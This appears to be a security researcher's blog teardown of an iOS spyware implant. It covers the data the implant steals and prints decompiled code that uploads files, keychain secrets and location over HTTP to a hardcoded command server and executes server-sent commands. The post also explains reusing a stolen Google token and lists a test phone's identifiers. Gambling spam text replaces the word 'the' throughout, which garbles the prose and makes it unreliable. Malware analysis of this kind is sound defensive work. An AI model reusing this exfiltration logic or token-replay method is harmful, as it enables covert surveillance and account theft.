Thursday, August 29, 2019

Implant Teardown

Posted by Ian Beer, Project Zero



In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 earlier posts we examined how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers gained unsandboxed code execution as root on iPhones. At cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of each chain we saw cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers calling posix_spawn, passing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 path to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir implant binary which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y dropped in /tmp. This starts cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant running in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 background as root. There is no visual indicator on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant is running. There's no way for a user on iOS to view a process listing, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant binary makes no attempt to hide its execution from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system. 

The implant is primarily focused on stealing files and uploading live location data. The implant requests commands from a command and control server every 60 seconds.

Before diving into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code let's take a look at some sample data from a test phone running cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant and communicating with a custom command and control server I developed. To be clear, I created this test specifically for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 purposes of demonstrating what cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant enabled cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker to do and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screenshots are from my device.  The device here is an iPhone 8 running iOS 12.

The implant has access to all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 database files (on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim’s phone) used by popular end-to-end encryption apps like Whatsapp, Telegram and iMessage. We can see here screenshots of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 apps on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 left, and on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 right cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 database files stolen by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant which contain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 unencrypted, plain-text of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 messages sent and received using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 apps:

Whatsapp

This image shows a screenshot of a chat session in whatsapp on the left with messages sent between two participants. At the top of the screen is a notification from whatsapp


Telegram

This image shows a screenshot of a chat session in telegram with messages sent between two participants. They're discussing the Supergeil advert for the German supermarket EDEKA. On the right we can see a sqlite3 session examining the db_sqlite file uploaded by the implant. Dumping the BLOB values in t7 it's possible to clearly see the plain-text of chat messages sent by both sides of the conversation.

iMessage

this image contains screenshots of a chat session in iMessage on the left, with messages sent between two participants. They appear to be discussing their dinner, which is a plate of Aelpermagronen. On the right we can see an interactive session using the sqlite3 tool to dump the messages table from sms.db uploaded by the implant. It clearly contains the plain-text of the messages sent by both participants.

Hangouts
Here's a conversation in Google Hangouts for iOS and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 corresponding database file uploaded by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant. With some basic SQL we can easily see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 plain text of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 messages, and even cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 images shared.


This image contains a screenshot of a hangouts chat session on the left, where the participants have sent text messages to each other and also shared a photo of a model T-Rex wearing a hat standing next to a seagull. On the right is a dump of the GMBChatDataStore.sqllite file clearly showing the plain-text of the exchanged messages, along with a URL from which it's possible to download the photo of the T-Rex.

The implant can upload private files used by all apps on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device; here's an example of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 plaintext contents of emails sent via Gmail, which are uploaded to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker's server:

Gmail

This image shows a screenshot of the gmail app on the left, where email subject lines are visible. On the right is a dump of the sqlitedb file uploaded by the implant which clearly shows that same information in the item_summary_proto fields of the items table.

Contacts
The implant also takes copies of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user's complete contacts database:


This image shows a screenshot of the Contacts screen of the iPhone phone app, listing the contacts saved on the device, which appear to mostly be fondue restaurants. On the right we see an interactive session using sqlite3 to examine the AddressBook.sqlitedb file uploaded by the implant. It clearly contains the full names and numbers stored in the iPhone contacts.


Photos
And takes copies of all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir photos:


This image shows a screenshot of the iPhone photos app on the left. The user has taken some photos of wallabies in a field and also a meercat sitting on a roof. On the right we can see that those photos have been uploaded by the implant.



Real-time GPS tracking
The implant can also upload cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user's location in real time, up to once per minute, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device is online. Here's a real sample of live location data collected by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant when I took a trip to Amsterdam with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant running on a phone in my pocket:


This image shows a map of the Rokin area of Amsterdam. There are map pins dropped for each location ping sent by the implant and received by the command-and-control server. The locations are grouped in to two clusters: on the left is the NH Hotel and the right is a theater. There are further pins dotted around the map making it pretty clear if you zoom in far enough that I went to the happy pig pancake restaurant, de koffiesalon cafe for some espresso, Humphrey’s Restaurant, Dante Kitchen and Bar and I also took the train from Rokin station.


The implant uploads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device's keychain, which contains a huge number of credentials and certificates used on and by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device. For example, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SSIDs and passwords for all saved wifi access points:


  
           UUID
           3A9861A1-108E-4B3A-AAEC-C8C9DC79878E
     acct
           RandomHotelWifiNetwork
           agrp
           apple
           cdat
           2019-08-28T08:47:33Z
           class
           genp
           mdat
           2019-08-28T08:47:33Z
           musr
           
           
           pdmn
           ck
           persistref
           
           
           sha1
           
           1FcMkQWZGn3Iol70BW6hkbxQ2rQ=
           
           svce
           AirPort
           sync
           0
           tomb
           0
           v_Data
           
           YWJjZDEyMzQ=
           
   

The v_Data field is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 plain-text password, stored as base64:


$ echo YWJjZDEyMzQ= | base64 -D
abcd1234

The keychain also contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 long-lived tokens used by services such as Google's iOS Single-Sign-On to enable Google apps to access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user's account. These will be uploaded to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers and can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n be used to maintain access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user's Google account, even once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant is no longer running. Here's an example using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Google OAuth token stored as com.google.sso.optional.1.accessToken in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 keychain being used to log in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Gmail web interface on a separate machine:


This image contains a screenshot of Chrome Developer tools, using the value that is contained in the keychain, uploaded by the implant. When the pictured request is sent in the developer console, the page will reload logged into the gmail account.


This image contains a screenshot of the logged-in gmail account, accessed using the value from the keychain. It shows the inbox of the gmail account, containing nine email messages.


Analysis
The implant is embedded in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 privilege escalation Mach-O file in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 __DATA:__file section. 

From our analysis of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploits, we know that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake kernel task port (which gives kernel memory read and write) is always destroyed at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel exploit. The implant runs completely in userspace, albeit unsandboxed and as root with entitlements chosen by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker to ensure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can still access all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 private data cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are interested in.

Using jtool we can view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entitlements cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant has. Remember, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers have complete control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y used cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel exploit to add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hash of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant binary's code signature to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel trust cache.

$ jtool --ent implant
keychain-access-groups
*
        application-identifier
        $(AppIdentifierPrefix)$(CFBundleIdentifier)
        com.apple.locationd.preauthorized
        
        com.apple.coretelephony.Identity.get
        

Many system services on iOS will try to check cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entitlements of clients talking to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m, and only allow clients with particular entitlements to perform certain actions. This is why, even though cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant is running as root and unsandboxed, it still requires a valid entitlements blob. They're assigning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365mselves three relevant entitlements:

keychain-access-groups is used to restrict access to secrets stored in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 keychain; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y've given cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365mselves a wildcard value here.

com.apple.locationd.preauthorized enables cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use of CoreLocation without explicit user consent, as long as Location Services is enabled.

com.apple.coretelephony.Identity.get allows retrieval of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device's phone number.

Reversing

The binary is compiled without optimizations and written in Objective-C. The code snippets here are mostly manually decompiled with a bit of help from hex-rays.

Structure

The implant consists of two Objective-C classes: Service and Util and a variety of helper functions.

The implant starts by creating an instance of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Service class and calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start selector before getting a handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current runloop and running it.

-[Service start] {
  [self startTimer];
  [self upload];
}

[Service startTimer] will ensure that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Service instance's timerHandle method is invoked every 60 seconds:


// call timer_handle every 60 seconds
-[Service startTimer] {
  timer = [NSTimer scheduledTimerWithTimeInterval:60.0
                                        target:self
                                        selector:SEL(timer_handle)
                                        userInfo:NULL
                                        repeats:1]
  old_timer = self->_timer;
  self->_timer = timer;
  [old_timer release]
}

timer_handle is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main function responsible for handling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command and control communication. Before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device goes in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 timer_handle loop however it first does an initial upload:


-[Service upload] {
  [self uploadDevice];
  [self requestLocation];
  [self requestContacts];
  [self requestCallHistory];
  [self requestMessage];
  [self requestNotes];
  [self requestApps];
  [self requestKeychain];
  [self requestRecordings];
  [self requestSmsAttachments];
  [self requestSystemMail];
  if (!self->_defaultList) {
    self->_defaultList = [Util appPriorLists];
  }

  [self requestPriorAppData:self->_defaultList];
  [self requestPhotoData];
  
  ...
}

This performs an initial bulk upload of data from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device. Let's take a look at how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se are implemented:


-[Service uploadDevice] {
  NSLog(@"uploadDevice");
  info = [Util dictOfDeviceInfo];
  while( [self postFiles:info remove:1] == 0) {
    [NSThread sleepForTimeInterval:10.0];
    info = [Util dictOfDeviceInfo];
  }
}

Note cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 call to NSLog is really cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 production implant. If you connect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iPhone via a lightning cable to a Mac and open Console.app you can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se log messages as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant runs.


Here's [Util dictOfDeviceInfo]:

+[Util dictOfDeviceInfo] {
  struct utsname name = {};
  uname(&name);
  machine_str = [NSString stringWithCString:name.machine
                          encoding:NSUTF8StringEncoding]

   // CoreTelephony private API
  device_phone_number = CTSettingCopyMyPhoneNumber();
  if (!device_phone_number) {
    device_phone_number = @"";
  }

  net_str = @"Cellular"
  if ([self isWifi]) {
    net_str = @"Wifi";
  }

  dict = @{@"name":         [[UIDevice currentDevice] name],
           @"iccid":        [self ICCID],
           @"imei":         [self IMEI],
           @"SerialNumber": [self SerialNumber],
           @"PhoneNumber":  device_phone_number,
           @"version":      [[UIDevice currentDevice] systemVersion]],
           @"totaldisk":    [NSNumber numberWithFloat:
                              [[self getTotalDiskSpace] stringValue]],
           @"freedisk":     [NSNumber numberWithFloat:
                              [[self getFreeDiskSpace] stringValue]],
           @"platform":     machine_str,
           @"net":          net_str}

  path = [@"/tmp" stringByAppendingPathComponent:[NSUUID UUIDString]];

  [dict writeToFile:path atomically:1]
  
  return @{@"device.plist": path}
}

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 output which gets sent to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant is run on one of my test devices:


PhoneNumber
+447848473659
SerialNumber
F4GW60LKJC68
freedisk
48.63801
iccid
8944200115179096289
imei
352990092967294
name
Ian Beer’s iPhone
net
Wifi
platform
iPhone10,4
totaldisk
59.59484
version
12.1.2

This method collects a myriad of identifiers from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device:
  • cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iPhone model
  • cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iPhone name ("Ian's iPhone")
  • cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ICCID of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SIM card, which uniquely identifies cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SIM
  • cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iPhone serial number
  • cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current phone number
  • cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iOS version
  • total and free disk space
  • cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 currently active network interface (wifi or cellular)


They build an Objective-C dictionary object containing all this information cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NSUUID class to generate a pseudo-random, unique string. They use that string to create a new file under /tmp, for example /tmp/68753A44-4D6F-1226-9C60-0050E4C00067. They serialize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dictionary object as XML to that file and return a dictionary @{@"device.plist": path} mapping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name "device.plist" to that path in /tmp. This racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r odd design pattern of serializing everything to files in /tmp is used throughout cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant.

Let's take a look at how that file will get off cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device and up to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker's server.

[Service uploadDevice] passes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 returned @{@"device.plist": path} dictionary to [Service postFiles]:

  [self postFiles:info remove:1]


-[Service postFiles:files remove:] {
  if([[files allKeys] count] == 0) {
    return;
  }

  sem = dispatch_semaphore_create(0.0)

  base_url_str = [
    [@"http://X.X.X.X" stringByTrimmingCharactersInSet:
                         [NSCharacterSet whitespaceAndNewlineCharacterSet]]]
  
  full_url_str = [base_url_str stringByAppendingString:@"/upload/info"]

  url = [NSURL URLWithString:full_url_string]

  req = [NSMutableURLRequest requestWithURL:url]
  [req setHTTPMethod:@"POST"]
  [req setTimeoutInterval:120.0]

  content_type_str = [NSString stringWithFormat:
    "multipart/form-data; charset=utf-8;boundary=%@", @"9ff7172192b7"];
  [req setValue:content_type_str forHTTPHeaderField:@"Content-Type"]

  // this is set in [Service init], it's SerialNumber
  // from [Util SerialNumber]
  params_dict = @{@"sn": self->_sn}
  body_data = [self buildBodyDataWithParams:params_dict AndFiles:files]

  session = [NSURLSession sharedSession]
  NSURLSessionUploadTask* task = [session uploadTaskWithRequest:req
           fromData:body_data
           completionHandler:
             ^(NSData *data, NSURLResponse *response, NSError *error){

                if (error) {
                  NSLog(@"postFile %@ Error: %@", _, _)
                } else {
                  NSLog(@"postFile success %@");
                }

                if (remove) {
                  // use NSFileManager to remove all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 files
                }

                dispatch_semaphore_signal(sem)

             }]

  [task resume];

  dispatch_semaphore_wait(sem, -1);

The IP address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server to upload content to is hardcoded in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant binary. This function uses that address to make an HTTP POST request, passing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 files provided in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 files argument as a multipart/form-data payload (with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hardcoded boundary string "9ff7172192b7" delimiting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fields in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 body data.)

Let's take a quick look at buildBodyDataWithParams:


[-Service buildBodyDataWithParams:params AndFiles:files] {
  data = [NSMutableData data]
  for (key in params) {
    str = [NSMutableString string]
    // cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 boundary string
    [str appendFormat:@"--%@\r\n", "9ff7172192b7"] ;
    [str appendFormat:
      @"Content-Disposition: form-data; name=\"%@\"\r\n\r\n", key];

    val = [params objectForKeyedSubscript:key];
    [str appendFormat:@"%@\r\n", val];

    encoded = [str dataUsingEncoding:NSUTF8StringEncoding];
    [data appendData:encoded]
  }

  for (file in files) {
    str = [NSMutableString string];
    // cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 boundary string
    [str appendFormat:@"--%@\r\n", "9ff7172192b7"] ;
    [str appendFormat:
      @"Content-disposition: form-data; name=\"%@\"; filename=\"%@\"\r\n",
      file, file];
    [str appendFormat:@"Content-Type: application/octet-stream\r\n\r\n"];

    encoded = [str dataUsingEncoding:NSUTF8StringEncoding];
    [data appendData:encoded];

    file_path = [files objectForKeyedSubscript:file];
    file_data = [NSData dataWithContentsOfFile:file_path];
    [data appendData:file_data];

    newline_encoded = [@"\r\n" dataUsingEncoding:NSUTF8StringEncoding];
    [data appendData newline_encoded] ;   
  }

  final_str = [NSString stringWithFormat:@"--%@--\r\n", @"9ff7172192b7"];
  final_encoded = [final_str dataUsingEncoding:NSUTF8StringEncoding];
  [data appendData:final_encoded];

  return data
}

This is just building a typical HTTP POST request body, embedding cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of each file as form data.

There's something thus far which is conspicuous only by its absence: is any of this encrypted? The short answer is no: cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y really do POST everything via HTTP (not HTTPS) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no asymmetric (or even symmetric) encryption applied to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data which is uploaded. Everything is in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 clear. If you're connected to an unencrypted WiFi network this information is being broadcast to everyone around you, to your network operator and any intermediate network hops to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command and control server.

This means that not only is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end-point of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end-to-end encryption offered by messaging apps compromised; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n send all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end-to-end encrypted messages in plain text over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir server.

The command loop

On initial run (immediately after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iPhone has been exploited) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant performs around a dozen bulk uploads in a similar fashion before going to sleep and being woken up by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operating system every 60 seconds. Let's look at what happens cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n:

NSTimer will ensure that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 [Service timer_handle] method is called every 60 seconds:

-[Service timer_handle] {
  NSLog(@"timer trig")
  [self status];
  [self cmds];
}

[Service status] uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SystemConfiguration framework to determine whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device is currently connected via WiFi or mobile data network.

[Service cmds] calls [Service remotelist]:


-[Service cmds] {
  NSLog(@"cmds");
  [self remotelist];
  NSLog(@"finally");
}


-[Service remotelist] {
  ws_nl = [NSCharacterSet whitespaceAndNewlineCharacterSet];
  url_str = [remote_url_long stringByTrimmingCharacterInSet:ws_nl];

  NSMutableURLRequestRef url_req = [NSMutableURLRequest alloc];

  full_url_str = [url_str stringByAppendingString:@"/list"];
  NSURLRef url = [NSURL URLWithString:full_url_str];

  [url_req initWithURL:url];

  if (self->_cookies) {
    [url_req addValue:self->_cookies forHeader:@"Cookie"];
  }

  NSURLResponse* resp;
  NSData* data = [NSURLConnection sendSynchronousRequest:url_req
     returningResponse:&resp
     error:0];

  cookie = [self getCookieFromHttpresponse:resp];
  if ([cookie length] != 0) {
    self->_cookie = cookie;
  }

  NSLog(@"Json data %@", [NSString initWithData:data
                                   encoding:NSUTF8StringEncoding]);

  err = 0;
  json = [NSJSONSerialization JSONObjectWithData:data
                              options:0
                              error:&err];

  data_obj = [json objectForKey:@"data"];

  NSLog(@"data Result: %@", data_obj);

  cmds_obj = [data_obj objectForKey:@"cmds"];

  NSLog(@"cmds: %@", cmds_obj);

  for (cmd in cmds_obj) {
    [self doCommand:cmd];
  }
}

This method makes an HTTP request to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 /list endpoint on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command and control server and expects to receive a JSON-encoded object in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response. It parses that object using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system JSON library (NSJSONSerialization), expecting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 JSON to be in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following form:


{ "data" : 
  { "cmds" :
    [
      {"cmd"  :
       "data" :
      }, ...
    ]
  }
}

Each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 enclosed commands are passed in turn to [Service doCommand]:


-[Service doCommand:cmd_dict] {
  cmd_str_raw = [cmd_dict objectForKeyedSubscript:@"cmd"]

  cmd_str = [cmd_str_raw stringByTrimmingCharactersInSet:
               [NSCharacterSet whitespaceAndNewlineCharacterSet]];

  if ([cmd_str isEqualToString:@"systemmail"]) {
    [self requestSystemMail];
  } else if([cmd_str isEqualToString:@"device"]) {
    [self uploadDevice];
  } else if([cmd_str isEqualToString:@"locate"]) {
    [self requestLocation];
  } else if([cmd_str isEqualToString:@"contact"]) {
    [self requestContact];
  } else if([cmd_str isEqualToString:@"callhistory"]) {
    [self requestCallHistory];
  } else if([cmd_str isEqualToString:@"message"]) {
    [self requestMessage];
  } else if([cmd_str isEqualToString:@"notes"]) {
    [self requestNotes];
  } else if([cmd_str isEqualToString:@"applist"]) {
    [self requestApps];
  } else if([cmd_str isEqualToString:@"keychain"]) {
    [self requestKeychain];
  } else if([cmd_str isEqualToString:@"recordings"]) {
    [self requestRecordings];
  } else if([cmd_str isEqualToString:@"msgattach"]) {
    [self requestSmsAttachments];
  } else if([cmd_str isEqualToString:@"priorapps"]) {
    if (!self->_defaultList) {
      self->_defaultList = [Util appPriorLists]
    }
    [self requestPriorAppData:self->_defaultList]
  } else if([cmd_str isEqualToString:@"photo"]) {
    [self uploadPhoto];
  } else if([cmd_str isEqualToString:@"allapp"]) {
    dispatch_async(_dispatch_main_q, ^(app)
      {
        [self requestAllAppData:app]
      });
  } else if([cmd_str isEqualToString:@"app"]) {
    // parameter should be an array of bundle ids
    data = [cmd_dict objectForKey:@"data"]
    if ([data count] != 0) {
      [self requestPriorAppData:data]
    }
  } else if([cmd_str isEqualToString:@"dl"]) {
    [@"/tmp/evd." stringByAppendingString:[[[NSUUID UUID] UUIDString] substringToIndex: 4]]
    // it doesn't actually seem to do anything here
  } else if([cmd_str isEqualToString:@"shot"]) {
    // nop
  } else if([cmd_str isEqualToString:@"live"]) {
    // nop
  }

  cs = [NSCharacterSet whitespaceAndNewlineCharacterSet];
  server = [@"http://X.X.X.X:1234" stringByTrimmingCharactersInSet:cs];
  
  full_url_str = [server stringByAppendingString:@"/list/suc?name="];
  url = [NSURL URLWithString:[full_url_str stringByAppendingString:cmd_str]];
  NSLog(@"s_url: %@", url)

  req = [[NSMutableURLRequest alloc] initWithURL:url];
  if (self->_cookies) {
    [req addValue:self->_cookies forHTTPHeaderField:@"Cookie"];
  }

  id resp;
  [NSURLConnection sendSynchronousRequest:req
                   returningResponse: &resp
                   error: nil];

  resp_cookie = [self getCookieFromHttpresponse:resp]
  if ([resp_cookie length] == 0) {
    self->_cookie = nil;
  } else {
    self->_cookie = resp_cookie;
  }

  NSLog(@"cookies: %@", self->_cookie)
}

This method takes a dictionary with a command and an optional data argument. Here's a list of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 supported commands:

systemmail  : upload email from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 default Mail.app
device      : upload device identifiers
               (IMEI, phone number, serial number etc)
locate      : upload location from CoreLocation
contact     : upload contacts database
callhistory : upload phone call history 
message     : upload iMessage/SMSes
notes       : upload notes made in Notes.app
applist     : upload a list of installed non-Apple apps
keychain    : upload passwords and certificates stored in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 keychain
recordings  : upload voice memos made using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 built-in voice memos app
msgattach   : upload SMS and iMessage attachments
priorapps   : upload app-container directories from hardcoded list of
                third-party apps if installed (appPriorLists)
photo       : upload photos from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 camera roll
allapp      : upload container directories of all apps
app         : upload container directories of particular apps by bundle ID
dl          : unimplemented
shot        : unimplemented
live        : unimplemented

